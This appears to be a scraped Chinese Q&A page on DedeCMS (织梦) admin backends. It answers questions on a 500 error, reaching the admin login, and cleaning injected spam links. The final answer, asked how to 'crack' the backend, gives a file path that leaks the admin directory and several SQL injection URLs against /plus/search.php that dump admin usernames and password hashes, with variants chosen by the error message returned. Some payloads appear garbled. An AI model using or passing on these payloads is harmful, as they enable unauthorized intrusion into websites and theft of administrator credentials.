关于织梦dedecms爆后台的信息

当前目录列表：

1、DedeCMS 安装后 登录后台 报500 服务器错误

2、怎么进入DedeCMS的后台

3、织梦DedeCMS后台管理账号和密码被篡改，请问如何找到这个漏洞

4、怎样解决织梦DEDECMS网站后台被挂黑链

5、DedeCMS 的后台怎么爆啊，能告诉我详细一点吗

DedeCMS 安装后 登录后台 报500 服务器错误

楼主你好

能一直提示安装直至安装成功，应该环境是没问题，出现500可能是什么地方配置的问题，在根目录再新建一个目录看能不能访问，如果能说明DedeCMS的系统问题。

还有一种情况可能是你把配置错误的

.htaccess

文件放在网站目录里了，检查下看有没有。

希望可以帮到你。

林羽凡

怎么进入DedeCMS的后台

1、首先进入DedeCMS的源码目录，在源码目录中点击进入dede的文件夹，该文件夹就是dede的后台文件：

/iknow-pic.cdn.bcebos.com/e61190ef76c6a7ef074b28b9f3faaf51f2de66c4"target="_blank"title="点击查看大图"class="ikqb_img_alink"/iknow-pic.cdn.bcebos.com/e61190ef76c6a7ef074b28b9f3faaf51f2de66c4?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/

2、然后打开浏览器，输入“虚拟域名/dede”，没有配置虚拟域名就是“localhost/dede”回车进入后台的登录界面：

/iknow-pic.cdn.bcebos.com/b3b7d0a20cf431ad5b6ca2a64536acaf2fdd98f7"target="_blank"title="点击查看大图"class="ikqb_img_alink"/iknow-pic.cdn.bcebos.com/b3b7d0a20cf431ad5b6ca2a64536acaf2fdd98f7?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/

3、进入后台登录后，输入账号和密码，点击登录即可：

/iknow-pic.cdn.bcebos.com/08f790529822720e5681006575cb0a46f31fabe6"target="_blank"title="点击查看大图"class="ikqb_img_alink"/iknow-pic.cdn.bcebos.com/08f790529822720e5681006575cb0a46f31fabe6?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/

4、此时即可访问到dede的后台了：

/iknow-pic.cdn.bcebos.com/7dd98d1001e93901b6426fa175ec54e737d196e9"target="_blank"title="点击查看大图"class="ikqb_img_alink"/iknow-pic.cdn.bcebos.com/7dd98d1001e93901b6426fa175ec54e737d196e9?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/

怎样解决织梦DEDECMS网站后台被挂黑链

从你发布的图片可以看出，你网站已经被人种下的后门程序

1.先将templets 模板文件下载到本地，用批量替换工具将挂的黑链替换，并检查templets 模板有没有后门程序，如：.php 为后缀结尾的，你都分析下，里面很有可能隐藏后门程序。

2.对uploadfile 程序进行备份，下载到本地，检查有没有.php 为后缀结尾的 并分析

3.对数据库进行备份，并将备份下载到本地

4.对整个程序进行备份，并下载到本地

5.删除服务器上的整个网站，在dede官方，下载一个与你程序一致的版本，上传到服务器，并重新安装

6.将 检查后的 ：数据库，和 uploadfile 和 templets 上传覆盖 服务器

完成以上步骤后 挂的连接 已经被清楚，包括后面程序也被清理。

DedeCMS 的后台怎么爆啊，能告诉我详细一点吗

如果你想找DEDECMS后台路径的话

访问/data/mysql_error_trace.inc 这个文件里有,如果幸运的话 你会看到的。

如果是爆管理账号密码，那么你可以试试以下方式。

/plus/search.php?keyword=11typeArr[`@'`and，SELECT%201%20FROM(select%20count(*,concat，floor(rand(0*2),，SELECT/*'*/concat(0x5f,userid,0x5f,pwd,0x5f%20from%20`%23@__admin`%20Limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)]=1

/plus/search.php?keyword=astypeArr%5B111%3D@%60%5C'%60)+and+，SELECT+1+FROM+(select+count(*,concat，floor(rand(0*2),，substring((select+CONCAT(0x7c,userid,0x7c,pwd+from+%60%23@__admin%60+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@%60%5C'%60+%5D=a

Safe Alert: Request Error step 2 !

那么直接用下面的exp

/plus/search.php?keyword=astypeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

看结果如果提示

Safe Alert: Request Error step 1 !

那么直接用下面的exp

/plus/search.php?keyword=astypeArr[111%3D@`\'`)+and+，SELECT+1+FROM+(select+count(*,concat，floor(rand(0*2),，substring((select+CONCAT(0x7c,userid,0x7c,pwd+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a